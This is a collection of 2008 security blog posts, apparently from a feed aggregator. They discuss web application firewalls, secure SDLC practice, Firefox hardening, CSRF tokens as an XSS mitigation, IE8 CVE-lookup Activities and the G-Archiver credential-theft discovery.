Also, I was sent a link to a collection of secure development videos from a co-worker. The videos cover a wide range of topics such as “How do I: Prevent a SQL Injection Security Flaw in an ASP.NET Application” all the way to “How Do I: Use Managed Cards in Windows CardSpace to Increase the Security of My Web Site“. The videos are a great place for any budding developer to explore some Secure Development techniques. I like the videos because many of them address security related questions that I get all of the time and serve as an excellent remediation tool. The vids are by no means a comprehensive guide to Secure Development nor are they a replacement for a formal SDL, but they can be a great training tool and have a lot of value.



Last item for the day… I’m a big fan of the Harvard Business Review (HBR). Usually, the articles contained within HBR have nothing to do with information security (or even computers for that matter). In the latest issue, there is a piece entitled “Radically Simple IT“, which outlines some interesting strategies for IT projects at the enterprise level (path based approach). It’s an interesting article and if you’re considering implementing any medium to large size IT project, you should definitely give it a read….

The Spanner

Codetcha update

Posted: March 30th, 2008, 1:26pm CDT by Gareth Heyes

Tags: Security [edit]

I’ve updated the source and it now includes friendly variable/function creation so they are easier to read than pure random data. Thanks to Agente Naranja for the suggestion! I’ve fixed plenty of bugs and included many customisation options, each site using should change the configuration of the CAPTCHA to make it easy or harder to solve depending on the technical skill of the visitor. Enjoy!

Codetcha demo

Codetcha source

Michael Howard's Web Log

"How Do I?" Videos for Security

Posted: March 30th, 2008, 11:38am CDT by michael_HOWARD

Tags: Security [edit]

These are pretty cool - I'm a big fan of highly focused, short education like this... [msdn2.microsoft.com]

Alex's Corner

Adobe taking security seriously?

Posted: March 27th, 2008, 2:07pm CDT by kuza55

Tags: Security All [edit]

Well, according to this zdnet article, Adobe are planning to rework how Flash does things, and it sounds like I'm going to lose some bugs yet again before I post them, and it's not really worth posting them as 0day atm, since it's probably not too long until the patch gets released, so I'm just going to wait to see if they're actually patched before wasting them ;)

And just in case they do actually patch my bugs, here are some sha1 hashes: (I can edit this blog, but it'll get archived on the sites which use my rss feed)

e51bd7f00a22d1702f69a7d794d7d54305ffb72b
927ddd6c0a3522b32675a97ebe164cd14ce58004

Web Security Blog

Web Application Monitoring Data Model

Posted: March 27th, 2008, 7:10am CDT

Tags: Web Security [edit]
A data model is the foundation of web application monitoring and, thus, key to successful utilisation of web application firewalls. We don't get to design the model; we can only deduct it from the information provided to us from the underlying technology. What we can do is build on it, and, for that reason, it is very important to understand what we have to work with.

An ideal model is one that helps structure the information available to us, allows us to enrich it with additional pieces of data and generally helps us raise events based on the information it contains.

The major parts of a web application monitoring data model are as follows:
- Connection - corresponds to one TCP connection.
- Request - corresponds to one HTTP request.
- Response - corresponds to one HTTP response.
- IP Address - the IP address of the client, retrieved from the TCP connection.
- Session - application session.
- User - authenticated user; in most cases this translates to the application user, but some sites still use HTTP authentication, and some might use both.
- Site - perhaps more accurately called Protection domain, or Application. None of these terms is perfect, but I generally prefer to use Site. In our model, Site refers either to the functionality behind an entire domain name (e.g. www.example.com), or only a subset of one (www.example.com/forums/).
- Country - the country where the request originates.
- City - the city where the request originates.
- Custom - any number of custom attributes. For example, you might want to have different policies for different departments within your organisation. To achieve this, you will map client IP addresses to department names, which you will then use to determine policies.
Most of the components are easy to construct, mapping from the structures used in programming, but there are a few places where the technology does not support the view, or where what we are given is not what we want to see:
- Some work is needed to be able to distinguish sessions. There are different session identifier techniques to consider (e.g. in the URI, in a parameter, in a cookie). While there is a number of platforms that have standardised session management, there is also a large number of applications using their own schemes, so in general some custom work will be needed.
- More so in the case of user identification. Building on session identification one needs to identify a successful login event in the traffic in order to determine the session username.
- The IP address may not be accurate. It may be that of an intermediary, and not of the client itself. Such cases can sometimes be identified (as is the case with HTTP proxies) , but not always (e.g. if a transparent HTTP proxy is used). The problem is that, unless you control the proxy, you can only rely on the IP address you got from the TCP stack; the information extracted from HTTP requests headers is not to be trusted.
Note: This post is part of the Web Application Firewall Concepts series.

Billy (BK) Rios

Have some Bad Sushi at Blackhat Europe

Posted: March 27th, 2008, 3:42am CDT by xssniper

Tags: Security [edit]

I’ll be headed out to Blackhat Europe, speaking on phishing, scams, and ATM skimmers. If you’re in the area, look me up and well grab a few at the bar.

Also, I wanted to take a moment to thank my colleagues out in Hyderabad, India. I recently traveled to Hyderabad for some security work and the hospitality and friendliness I encountered really made me feel at home!

The Turkey Curse

re:publica, Bluehat and PH-Neutral

Posted: March 26th, 2008, 5:50am CDT by fukami

Tags: Events Security republica08 Bluehat PHNeutral [edit]

The next couple of weeks I’m going to speak at some interesting and completely different events. Next week I will be at re:publica in Berlin doing a tunneling workshop. Last year there was a screen at the entrance of re:publica showing the output of dnsniff. Some people got very pissed because of their passwords turning up in full HD quality. So Markus had the idea of this workshop and asked to do that in order to give the attendees a possibility to protect themself. The re:publica is going to be very big this year (800 attendees all together as far as I know) and a lot of old friends will show up I haven’t seen in a while.

The next event I’m going to visit is Bluehat v7 in Seattle. I’ve never been to the States before, so I’m really excited going there - especially because Microsoft is the reason which I still find very weird. I’ll give a presentation together with Manuel Caballero about Silverlight and how it compares to Adobe Flash security-wise. Only a few of the speakers of Bluehat are already known to me. Beside Lieutenant Dan and kuza55 I’m looking forward to got to know Sowhat. We tried to invite him to one of the past Chaos Communication Congresses but it was far more complicate than we thought because of problems with the visa. I’m also looking forward to got to know Billy Rios. I guess he and Nitesh will talk about Phishing.

In May I’ll be at PH-Neutral and give a presentation together with BeF entitled “SWF and the Malware Tragedy”. The talk is about static analysis of SWF bytecode and we hopefully have some more time to look into less known SWF bytecode obfuscation techniques. BeF and me also wrote a paper with the same title which is mainly about using Erlang programming language based erlswf for SWF bytecode analysis.
Tags: Events, Security, re-publica08, Bluehat, PH-Neutral, Flash, Silverlight, SektionEins, FlashSec

tssci security

Security and safe browsing for Firefox

Posted: March 25th, 2008, 1:20am CDT by dre

Tags: Security [edit]

You installed Firefox. How do you make it more secure for daily use? How do the Mozilla developers ensure that they are doing all the right things? How do you safely browse the Internet?

These are not easy questions to answer, and some of the answers will be system/OS-dependent.

Security functionality in Windows versions of Firefox

Using LookingGlass.exe, one can see a few issues with Firefox beta 3 on Windows Vista or XPSP2.

Clearly, some Firefox binaries (executables and DLL’s) are safer now that they support NX, and as seen using LookingGlass.exe — Firefox 3 is likely overall much safer than Firefox 2 (although adding new functionality must also be taken into account).

I have already seen a few traversals in Firefox 3, although according to the DVLabs PWN2OWN competition at CanSecWest, “simple directory traversal style bugs are inadequate”. In other words, they’re only good in the real world, not in a hacking competition. Just like XSS and CSRF, right?

Almost anyone can get Firefox 3 betas to crash, which also worries me. Yes, there’s a lot more use of some protections e.g. NX, but not others (ASLR would be nice, Mozilla!).

Take a look for yourself at this output from `dumpbin.exe /headers firefox.exe’:

100 DLL characteristics NX compatible

If ASLR was available, the “100 DLL characteristics” would have the second most-significant bit set to 4 to appear as “140 DLL characteristics”, or in many cases simply “40 DLL characteristics”. Of course, this hardly matters to those who are not running Vista, but who wants to wait until Firefox 4 for this functionality?

Safe browsing with Firefox

I browse Firefox using multiple profiles for each web application that I use. By setting the environmental variable, MOZ_NO_REMOTE=1, or by running Firefox with`-no-remote’, multiple profiles can be created, named, and run individually as separate processes.

Additionally, NoScript can protect against some URI attacks and some XSS. Most of these are blacklisted, but it helps if all Javascript, Flash, PDF files, SilverLight, Java applets, and JAR files are whitelisted on a per-case basis.

Most people will want to use cookies, and these cookies can be edited to be secure using Add N Edit Cookies. They can be allowed on a site-by-site basis using CookieSafe. One can also build multiple “cookie profiles” using CookieSwap. Simply by using multiple Firefox profiles, only the cookies allowed on a particular web application can be made to be the only cookies allowed in that particular profile. For example, I can search using Google’s search functionality in one profile (with no Google cookies allowed), while another separate profile allows Google top-level domain cookies so that I can login/use GMail.

I think there are other URI abuse issues that can be prevented. Using the guidelines at ush.it on a blog post called Clientside security: Hardening Mozilla Firefox, I have setup my profiles to globally deny new URI’s, as well as explicitly whitelist only http, https, ftp, and javascript.

By default, Firefox provides some insecure and unsafe features. Automatic form filling is one such feature, including saving passwords for websites. I even think that some Firefox 3 features such as “safe browsing” are not, in fact, “safe” — and I turn them off. Most of the URL’s to get the “safe browsing” information don’t even use SSL!

In the default Firefox permissions for Javascript, many of mine are tweaked. All of the `dom.disable_window’ about:config settings are set to “true”. Scripts cannot be made to raise/lower windows, disable/replace context menus, hise the status bar, or change the status bar text. Other features such as Java (security.enable_java) and IDN (network.enableIDN) are also turned off (i.e. set to “false”), unless they are needed for a certain web application to work.

Security assurance for Firefox

Assurance is the critical missing piece. This is why some people that I know use w3m, curl, and/or links/elinks to access web applications. Full assurance would mean that every line of code has been verified as secure by a significant majority of security code reviewers/testers in the world. This may never be possible.

Looking at the source code for Firefox seems rather daunting, but I would be willing to bet there are at least a handful of people dedicated to this cause. Surely, most of them work for Mozilla, and therefore are empowered to do something about it. However, when vulnerability research from Michal Zalewski and others pop up — often unannounced, with full-disclosure, and on a semi-regular basis — it is hard to envision a future where Firefox is secure to the same degree as software such as qmail.

The problem is not just the size of the code, but how often it is changed. There have been almost 15k changes (and 2.5 MLOC) in a little over 2 years. 900 changes were made in between Firefox 3 beta 3 and beta 4 alone! This is the primary problem facing discerning security code review for this type of project. How often do you find yourself updating?

The same issues have plagued Internet Explorer for years, which is why these two browsers have become the vehicles of choice for any would-be adversary. The only way to stop this madness is to stop changing code and to stop adding features. It worked for Microsoft when they implemented their SDL — at least it worked with other products.

I’m not sure to what degree the size and rate of change in IE had on security or if the SDL-forced change moratorium worked sufficiently. There are and will continue to be security-related bugs in IE for quite some time. In the past 9 Patch events that have had Vista vulnerabilities, 7 of them were at least partially related to IE. Of the 36 vulnerabilities, almost 20 were related to IE.

Besides suggesting a change moratorium on the Mozilla source code (which I still contend is a good idea), I can only recommend one other strategy to improve this situation. I suggest better unit/component-level testing of Mozilla code that asserts each defect’s fix — in the same way that I have made recommendations for the CPSL process I described back in December.

Efficiencies in refactoring the Firefox source code might also help here and there. I don’t think that the Mozilla developers use Microsoft’s Visual Studio, but their development environment could probably stand to use something like ReSharper. I have not seen a C++ equivalent, and would be interested in seeing other tools in this class.

I’ve heard a lot of analogies thrown around in the security world year-over-year. Here’s a new one for you to think over:

Like an open front door, web browsers are the most common entry point for attackers. Many spirited vulnerability researchers additionally contend that the web browser is the most powerful weapon in an attacker’s arsenal. Until we can close and lock this door, the rest of our protections will also continue to fail.
Security in the SDLC is not just code review

Posted: March 24th, 2008, 11:19pm CDT by dre

Tags: Security [edit]
Let’s take some time here to discuss what “secure code review” is and what it is not. I see a lot more people talking about code review. Many people have only the view of the PCI DSS compliance standard, which almost pits code review against the web application firewall.

David Rice quoted a Gartner study on his blog post on Insanity: 75% of Security Breaches Due to Flaws in Software.

A Gartner study indicates that 75% of security breaches are due to flaws in software…Do you think we would see a significant decrease in the number of data breaches and records stolen if we shifted our spend to actually writing proper code and protecting data at the source instead of at the edge? I think it is time we gained a few IQ percentage points and stopped the insanity.

However, he also thinks that stopping vulnerabilities at the source is, “painful, difficult, complicated, and troublesome”. But is source code review really all of these things?

Sachin Varghese of the Plynt blog doesn’t seem to think so. In his blog post, Comply with Section 6.6 of PCI DSS with code reviews and get more, Sachin explains that thousands of lines of code — even millions of lines of code — can be reviewed for security properties within a matter of weeks.

In this four-step process, Sachin lists how to “get more bang from your code review bucks”:
1. Do rapid risk assessments to determine which ‘money’ application should be code reviewed (Choose the right apps)
2. Use tools / processes that easily finds the meat balls (vulnerable code classes) in your thousands or millions of lines of code (Choose the right code)
3. Analyze vulnerabilities across applications, vendors to identify recurring issues, across the board solutions and effective developer training modules (Address root causes)
4. Look at trends like software-as-a-service, outsourcing & offshore centers to reduce your code review costs (Find a good deal)
I also offered up a different perspective in this argument between the F5 DevCentral blog on the importance of rewriting code.

No one development shop is like any other development shop. This is where operations people and managers severely fail to understand why typically people and process approaches don’t work the same between quality engineering, operations, and their red-headed step-child (or more like their cranky, senile, old grandfather) — development.

Some development shops use Test-Driven Development, some use a slight varation called Behavior-Driven Development (and many use neither). Even others skip the programming phase almost entirely by doing Model-Driven Development. In this last case, applications are code generated by a model built during the design phase.

Checking the source code is fine, but in some cases — checking the models, the designs, and the requirements is often a better approach.

To increase software assurance, I prefer to look at three areas of significance:
- How does the organization acquire software/applications?
- How does it create software/applications?
- How does it maintain its software/applications?
Others, such as our friends at Aspect Security, think that security in the SDLC is about giving developers secure components (and to make those components popular in development). Instead of forcing a dev shop into “secure frameworks”, any framework can utilize a few well-modeled, well-designed, and well-tested components. Some of the better projects coming out of the OWASP projects are: AntiSamy (recently released a 1.1 version!), CSRFGuard, and the uber-project — ESAPI.

Well-designed, reviewed, and tested code is great! However, security does not last a lifetime. What is secure today may not, in fact, be secure tomorrow. Maintaining applications over time also means having a plan for their retirement. When an organization decides to acquire software off-the-shelf (commercially, or by downloading open-source components such as ESAPI) — there should be some sort of “Consumer Reports” that they can go to.

OWASP is a good place to go today for information about secure web applications (including secure code review). I would like to see a commitment from OWASP to be a long-term, official authority for this type of information. CERT’s Secure Coding and Secure Coding Standards websites are excellent sources of information for general applications (especially those written in C/C++). A similar committment from CERT might also be in order.

My suggestion is to both test and inspect/review source code in order to obtain results as close to a Gold standard test as possible. Open-source components can be shown as “percentage CWE-free” with “percentage of code coverage”. Mapping this to a five-star rating system isn’t going to take a lot of time or effort, and certainly this will eventually allow for more detailed research and statistics.

Web Security Blog

Web Application Firewall Use Case: Continuous Security Assessment

Posted: March 19th, 2008, 9:42am CDT

Tags: Web Security [edit]
After some deliberation, I have decided to add Continuous security assessment as a standalone item on my web application firewall use cases list. Although some could argue the functionality is already covered in the Web intrusion detection and prevention section, it is not obvious—you have to understand this field in order to know it is there.

Continuous security assessment is not specific to web application firewalls—it's been used for the network layer for years—but web application firewalls are more useful for web applications (than IDS tools are for network applications), simply because there's essentially one data format to analyse (if you can call a bunch of loosely related specifications used by web applications "one" data format). With web applications, you get to see clear picture of application input and output. Therefore, with proper parsing and analysis in place, it's almost like having a direct communication channel with the application itself.

The focus here is not on the attacks and other suspicious client behaviour, which comes out of the stock IDS/IPS functionality, but on everything else:
- application defects,
- information leakage,
- configuration errors,
- change control
and so on. The advantage is that you can detect some very subtle issues, only possible because of the depth of analysis.

Just as an extreme example, there are quite a few web applications out there where SQL injection (less often) and XSS (surprisingly common) exist by design—their clients are allowed and expected to send such low-level stuff and have it executed by the server. These types of problem can be detected early and with little effort, and because assessment never stops, you get the alert as soon as they are manifested.

Note: This post is part of the Web Application Firewall Concepts series.

Billy (BK) Rios

Preventing XSS Exploitation with CSRF Tokens?!?!

Posted: March 19th, 2008, 8:05am CDT by xssniper

Tags: Security [edit]

A colleague and I were tossing around the idea of preventing XSS Exploitation with CSRF tokens. Now, before people start going “high and right” on me…hear me out… I DID NOT say “prevent XSS” with CSRF tokens, I said prevent “XSS Exploitation” with CSRF tokens. This discussion arose after someone presented me with the following scenario (this same scenario has been presented to me many, many times… typically at a bar after a few drinks):

You come into an organization and take over the application security department because the old security person left/was fired/was arrested/whatever. You take a look at the 10 million line flagship application and realize that its riddled with XSS holes, yet you don’t have the resources/time/cojo’s to fix all the exposures. What do you do?

This scenario is usually followed up by a pitch to sell me on some Web Application Firewall product….. I’ll put my thoughts on WAFs aside for a second… and I’ll try to get to the underlying issue of the scenario presented above: You need to do something to stop your customers from getting XSSd, you don’t have much time, you don’t have many resources and there is a ton of code to go through.

Now, what if you required CSRF tokens/canaries for every request? This doesn’t “fix” the XSS exposures, but it makes it a LOT more difficult to exploit (unless you want to exploit yourself). The CSRF tokens effectively prevent an attacker from sending the XSS to anyone else. Considering many token/canary values are implemented at the framework level, in most cases it would require a configuration change for the application. Now, once every page is protected by the canary, you can systematically examine the “high priority” pages or pages where canaries don’t make sense and remove the canary requirement after that particular page/functionality has gone through a review. In order to prevent the attacker from sending their own canary value, the CSRF token would have to be tied to the current users session (most good implementations do this anyway).

Now, once again, this DOES NOT FIX XSS, it just makes exploitation harder. This isn’t a new concept, in fact this same type of approach is being used by modern day operating systems. Take buffer overflows for example, protections like DEP, ASLR, Stackguard, GS flag… these protections do not prevent developers from writing buffer overflows and they do not “fix” buffer overflows… they do make exploiting buffer overflows a lot more difficult (unless you’re a Litchfield brother, HD Moore, or Alexander Sotirov).

Now, of course there are some cons to this strategy… First, the XSS exposures are not fixed (the WAFs don’t fix them either). This doesn’t protect against persistent XSS. There will be some performance hits to your web server when you have canaries for each request. This will NOT help you defend against injection attacks like SQL Injection or Command injection, that will require an audit… on the flip side… if you’re relying solely on a WAF to protect you against SQLi and Command Injection, I’d be worried…

Michael Howard's Web Log

IE8 Activity to lookup CVEs and Microsoft bulletins

Posted: March 18th, 2008, 10:06pm CDT by michael_HOWARD

Tags: Security [edit]

Update: Added Microsoft bulletin stuff.

I'm always looking up CVEs so I want to get to the data as quickly as possible, especially if I'm digging through a load of them.

Three years ago I posted some code to perform CVE lookup using Smart Tags in Microsoft Office.

IE8 offers similar functionality to Smart Tags, but way more flexible, named Activities. So I did a bit of digging around, and found this article by Jane Kim in the IE8 team that explains how to use and create Activities (and provides links to all the appropriate documentation.)

So I decided to write my own activity to look up CVEs from within IE8. Here's the XML:

<?xml version="1.0" encoding="utf-8"?>
<openServiceDescription xmlns="http://www.microsoft.com/schemas/openservicedescription/1.0">
<homepageUrl>http://nvd.nist.gov</homepageUrl>
    <display>
    <name>Lookup CVE with NIST</name>
    <icon>http://nvd.nist.gov/favicon.ico</icon>
</display>
<activity category="define">
    <activityAction context="selection" >
      <preview action="http://nvd.nist.gov/nvd.cfm">
        <parameter name="cvename" value="{selection}" />
      </preview>
      <execute action="http://nvd.nist.gov/nvd.cfm">
        <parameter name="cvename" value="{selection}" type="text" />
      </execute>
    </activityAction>
</activity>
</openServiceDescription>

Here's the same code, but tweaked for Microsoft Security bulletins:

<?xml version="1.0" encoding="utf-8"?>
<openServiceDescription
    xmlns="http://www.microsoft.com/schemas/openservicedescription/1.0">
<homepageUrl>http://www.microsoft.com</homepageUrl>
<display>
    <name>Lookup Microsoft Bulletin</name>
    <icon>http://www.microsoft.com/favicon.ico</icon>
</display>
<activity category="define">
    <activityAction context="selection" >
      <preview action="http://www.microsoft.com/technet/security/bulletin/{selection}.mspx">
      </preview>
    <execute action="http://www.microsoft.com/technet/security/bulletin/{selection}.mspx">
    </execute>
  </activityAction>
</activity>
</openServiceDescription>

To install, copy the file(s) to a Web server, and then run the following from within IE8:

<button
onclick="window.external.addService('http://localhost/<name>.xml')">
CVE Lookup Activity
</button>

Now when you click a CVE, you'll have the option to do a CVE lookup:

Voila!

Billy (BK) Rios

Reflections on Trusting Trust

Posted: March 17th, 2008, 9:57pm CDT by xssniper

Tags: Security [edit]

For those who have never read the classic “Reflections on Trusting Trust”, you can find it here. Reflections is a easy read on the perils of running un-trusted code on your machine. It’s a concept that’s foreign to many users as we typically run “un-trusted” HTML and clientside scripts from web sites thousands of times a day, praying that he browser sandbox and same origin policy saves us… I mean.. can you really trust the underlying content from this blog?



Of course, downloading and running code on you machine is EVEN MORE DANGEROUS. It doesn’t matter what kind of browser protections you have, once you execute code from an untrusted source, you’re at the mercy of that developer. Do you really trust the publishers of all those plugins and add-ons you are running? A perfect example of this… is G-Archiver. G-Archiver is a program that can be used to backup your Gmail messages to an offline source. Apparently, after some tinkering with DotNet Reflector (great tool btw), Dustin Brooks discovered a HARD CODED Gmail username and password in the source. Upon further investigation, Dustin realized that users of G-Archiver were silently getting their Gmail Creds posted to a Gmail account belonging to the creator of the G-Archive tool (John Terry). Here’s a screen shot of what Dustin saw:





Luckly, I’ve been conditioned (mostly by the pranksters at the Advanced Security Center in Houston) not to trust anything…



Links and Links

Michael Howard's Web Log

Protecting Your Code with Visual C++ Defenses

Posted: March 17th, 2008, 6:28pm CDT by michael_HOWARD

Tags: Security [edit]

MSDN Magazine has just published an article I wrote that collects many of the various C and C++ defenses in the current Visual C++ compiler suite, all of these defenses are SDL requirements or recommendations.

The Spanner

Codetcha

Posted: March 17th, 2008, 6:43am CDT by Gareth Heyes

Tags: Security [edit]

I’ve sat on the concept for a long time and it has had many names but I’ve got a bit of free time now so I decided to create a proof of concept. It isn’t perfect yet and there may be false positives due to a few bugs but if you read my blog you know I like to release code early

So what is it I hear you ask? Well Codetcha is CAPTCHA but not in the traditional sense, it purposely creates code bugs and uses the developers debugging skills to determine if he/she is human or not. In the first version I’ve used Javascript as the error prone code and a PHP mirror behind the scenes to get the relevant value. However any programming language could be used, I decided on Javascript because you can use the native debugging in the browser to help you pass the test.

It’s worth noting that this sort of system couldn’t be used on a non-technical forum or blog because it assumes knowledge of a programming language but it could be used on technical blogs and forums.
Update…
Fixed more bugs, reduced the settings slightly. I’ll release the source code soon once I’ve refined it a bit more.
Update again…
I’ve fixed many bugs, reduced the code by 50% and improved the replace algorithm.

Codetcha demo

Watchfire Application Security Insider

SMash Your Head on Mashup Security

Posted: March 16th, 2008, 6:46am CDT by Ory Segal

Tags: AJAX Security [edit]

I've been taking a close look at AJAX and Mashup security for a couple of weeks now, and I've stumbled upon two things which I thought I should blog about, so here goes:

"AJAX Security" Book

I've read several raving reviews on the "AJAX Security" book by Billy Hoffman and Bryan Sullivan, and I'd like to join the reviewers and attest that this book is simply excellent. The book covers everything you need to know about AJAX security, including a thorough background, simple and clear examples, and it covers everything from regular web application security issues, to obscure Mashup security issues, and even offline Ajax applications (e.g. Google Gears, etc.). If you are into AJAX security, this book will definitely be a great companion. Kudos to Billy & Bryan!

SMash

While reading the aforementioned AJAX security book, I've noticed that Mashup security is still in its infancy, and I was pondering on some of the problems that arise from mashing up contents from different trust domains into a single web page (obviously, originating from a single domain). The book talks about IFrame jails, and some of the issues with that solution, and even suggests some interesting techniques for securing mashups - but I wanted to direct your attention to a very interesting solution / technology that was built right here at IBM Research, and is freely available for everyone. This solution is called SMash (stands for Secure Mashups). Here's a short description of SMash from the OpenAjax web site:

IBM Research has contributed an important and major set of open source technology called “SMash” (secure mashups) to OpenAjax Alliance. SMash is a set of technique and open source JavaScript that runs in today’s browsers (without extensions or plugins) and enables secure handling of 3rd party mashup components.

SMash accomplishes its magic by placing mashup components in separate IFRAMEs (each using a different sub-domain). Cross-frame communications in today’s browsers is accomplished using the window.location fragment identifier. The highest level mashup application manages all communications between itself and among the mashup components. Although the initial version uses window.location, the SMash APIs are independent of any particular implementation approach and will still work if/when browsers add native support for secure cross-frame messaging.

You can find more technical information about SMash in the following IBM whitepaper - "SMash: Secure Component Model for Cross-Domain Mashups on Unmodified Browsers"

Smash is offered for free through the OpenAjax web site.

tssci security

Short-term defenses for web applications

Posted: March 11th, 2008, 6:14pm CDT by dre

Tags: Security [edit]
Before Mike Rothman posted something about the WhiteHatSec and F5 announcement, I really wasn’t going to say anything negative or positive. Integrating web application security scanners with web application firewalls at first seems like a good idea. However, it appears that most people forgot about the issues with WAF’s: they only prevent very few kinds of software weaknesses.

Enough with the WAF’s already

My analysis is the following:
- Web application security scanners, including vulnerability assessment management platforms, portals, and single-panes-of-glass all suffer from the same problem: they don’t find most of the critical security-related bugs in any given web application
- Web application firewalls do not protect against the most critical of security-related bugs
- Combining web application security scanner technology with WAF technology does not equate to a short-term defense solution for any business
How do I define a critical security-related bug? How about ones based on time and state, which could allow checkout of items before paying for them? This is one of many examples.

Web application security scanners are awareness tools ; Web application firewalls are door stops

Web application security scanners are tools to be used for raising awareness. Not too many people are aware of or convinced of the need to secure web applications to any degree of managed risk. Web application security scanners can help get funding to necessary projects that should have happened years ago.

Also note that any consulting or software-as-a-service solutions for web application security that utilize web application security scanner technology (or worse, perform testing manually) also fit into this category.

Web application firewalls are a different story. These are purely door stops because they make awful paper weights. I classify all of this technology in the category of epic fail.

Want some examples of epic failure? How about two recent XSS vulnerabilities found in F5’s management interfaces for their Big/IP product? Here’s one in their search functionality. Oh look, another in their security reports.

However, my favorite (and I’ve been saving this one for a long time) comes with a huge debate on the F5 blog about whether or not you have to rewrite the code when security-related bug fixes are in order.

When Lori MacVittie of F5 attacks Mike Sutton of HP SPI Dynamics, Jeff Forristal of SPI’s response is friendly and compromising. My comments got a little out of control because I honestly couldn’t believe what F5 was saying to be true. I was really upset by this blog post, which clearly had zero understanding of either networks, systems, or applications.

Is F5 a security company?

The best part of this F5 blog post comes before F5 even gets an opportunity to respond to me. It’s been several months (add to this fact that I’m sure that F5 “forgot” to install blog software that enables nofollow by default), and the blog spam that covers the page is still there. How could F5 possibly take web application security seriously if they can’t block/deal-with something as simple as blog spam?

Secure SDLC solutions can be both short-term and long-term

I’ve been told that Secure SDLC solutions are only focused on the long-term, or they’re “too idealistic” or “running to developers to put out the fire is the wrong approach”. This is all untrue. There are plenty of solutions that every development shop can move towards, which will give immediate results for both quality and security. Yes, every development shop is different and has different goals than operations/security — but this organizational change must happen.

Using Subversion for source-code revision control? Is your development environment tracking issues such as defects, but with the ability to add wiki notes as seen in Trac? Is there an automatic nightly build using continuous integration server software such as CruiseControl (or might you want a push-button approach as seen in Luntbuild)? Are your developers using logins (AKA Identity Management for you security people out there) that make them personally accountable to each piece of checked-in code, defect tracking issue, and failed build?

Some immediate SDLC wins

Developers have a solution that is bootable from a CDROM today. It’s called Buildix. Buildix contains Subversion, Trac, CruiseControl, and an identity management solution to tie all of these together.

How does this help with security? Well, if your development team isn’t doing the basics (and doing them well), then you can forget about other SDLC process improvements. The trick here isn’t to push this as a security issue. Make it a quality issue. Say it has something to do with Sarbanes-Oxley. Oh - you’re a private company? Consider looking at the BITS Shared Assessments Program (which has all but replaced SAS 70 Type II). There are many companies that don’t need to meet S-OX 404 that still follow COBIT, ITIL, or ISO27K as much as possible, including using internal auditing aggressively.

Requirements gathering is the most important phase of any quality/security software development lifecycle. For those of you who aren’t familiar with the V-Model and Fagan inspection — it’s important to note that these start in the requirements phase. Testing software shouldn’t happen only by a QA team as acceptance testing. Peer review shouldn’t be an after-thought that only applies to the code post-build.

Fagan inspection (complete as possible) and test cases (at least a few) should be handled before any design or decisions about the application are made. If the moderator is told that unit testing that looks for strict whitelist input validation on all HTML, CSS, XML, and Javascript is required — he/she may be confused at first. Showing this person some simple XSS, CSRF, and XXE attacks with an awareness test (see web application security scanners, above) might help encourage this lead software engineer to understand some backstory.

My favorite short-term win for any Secure SDLC program is to integrate the concept of continuous-prevention development. Continuous-prevention development is Regression Testing 2.0.

Your IDE grew up but your development shop is stuck in 1999

Unit testing can take place in the IDE (as well as during integration testing at build time, which can be automated by a build server). Often this can also be done continuously. It can be combined with static checking and code coverage. Need runtime testing? Just add Canoo WebTest or Selenium during integration.

Additional security properties can also be tested in the IDE with some simple changes. Many developers don’t know how to install their own web server, but any developer-tester should know how to run an embedded web server such as Jetty along with an embedded database such as H2 (or full solutions such as PicoContainer). It’s almost to the point where not only are in-IDE continuous unit tests reality, but also component tests or full system tests.

In summary, continuous in-IDE system testing means that anything a web application security scanner can test — a developer can perform more accurate tests while actually writing the code in real time. Of course, this will have less false positives, less false negatives, and allow for easier tuning and customization at much cheaper pricepoints (note: all of the software linked above is open-source). By adding “continuous-prevention” regression + fix checks, in-IDE unit testing prevents pilot error before costly peer review is even necessary.

The “A[OP]-Team”

There is no doubt that security testing, secure coding standards, secure code review, and other Secure SDLC improvements provide better alternatives to the classic “scan and patch” hamster-wheels-of-pain that web application security vulnerability assessment management solutions provide.

However, what about solutions such as Aspect-oriented programming (AOP)? Or integration of AOP and dependency injection? It looks to be possible to hire a team of coders to write code on top of your already existing codebase. This code will secure your code from all types of web application security risks. It won’t just protect the OWASP T10-2007 A1-A2 critical software weaknesses (one of the limitations of a WAF), but also the other 640-some listed in the MITRE CWE node structure.

Would you consider hiring such a crack team of hotshot security developers?

AOP and Dependency Injection are not long-term solutions. Any development shop with the proper expertise can implement these immediately. Consulting groups will start to make AOP/DI solutions available at a much lower overall cost than a $25K/year SaaS scanning solution combined with a $70K WAF appliance pair.

Web Security Blog

Web Application Firewall Use Cases

Posted: March 10th, 2008, 11:20am CDT

Tags: Web Security [edit]
There are many reasons to use a web application firewall. Most people tend to focus on prevention and blocking when the term is brought up, but that is just one of the possible uses. Three years ago, almost to the day, I wrote this post to argue how one needs a WAF to serve as a part of the overall defence strategy. My opinion remains unchanged today, but I have since expanded the list of use cases for web application firewalls. Here they are:
1. Web intrusion detection and prevention. Applying the principles of external traffic monitoring (IDS) and prevention (IPS) to HTTP and the related technologies, which are used to build web applications. Through your WAF you will look for signs of generic web application attacks (negative security model), or deploy a learning engine to construct a model of your site and reject all invalid traffic, not just attacks (also known as positive security model).
2. Continuous security assessment. The idea with this case is to emphasize the fact web application firewalls actually understand web applications pretty well. Armed with this knowledge, they can do more than detect attacks; they can observe from signs of weaknesses, information leaks, configuration errors, and similar problems before an attempt to exploit them is made.
3. Virtual (or just-in-time) patching. When you need to deal with a specific problem in your web site, which exists either in your code or in the code of the product you are relying on. The focus in this use case is on writing custom rules to deal with custom issues.
4. HTTP traffic logging and monitoring. Do you know what is actually going on in your web applications? Who are your users and how are they using your systems? Are you being attacked and how?
5. Network building blocks. This use case is not often a primary motivator for WAF deployment, but if you're already deploying a reverse proxy to serve as a HTTP switch/router, making the device security-aware is the way to go.
6. Web application hardening. If you deploy your WAF as a reverse proxy then you can get it to modify the traffic stream to fix some of the design faults of your application or the HTTP protocol.
I will expand on each use case in my future posts.

Note: This post is part of the Web Application Firewall Concepts series.
Web Application Firewall Concepts

Posted: March 10th, 2008, 10:38am CDT

Tags: Web Security [edit]
I went through all my ModSecurity Blog posts yesterday, partly to admire myself for blogging consistently for almost 5 years and partly to understand what is that I talked about during this time. While I knew that most of my posts were pretty technical (after all, I did start my new blog to focus on other things) imagine my surprise when I realised I didn't properly cover the one thing this blog is supposed to cover: web application firewalls! The emphasize is on the word "properly": I provided a great deal of technical information but not enough content that would explain why one would deploy a web application firewall and how. This stuff had went into my conference talks and the Web Application Firewall Evaluation Criteria project, but I forgot to discuss the topics here.

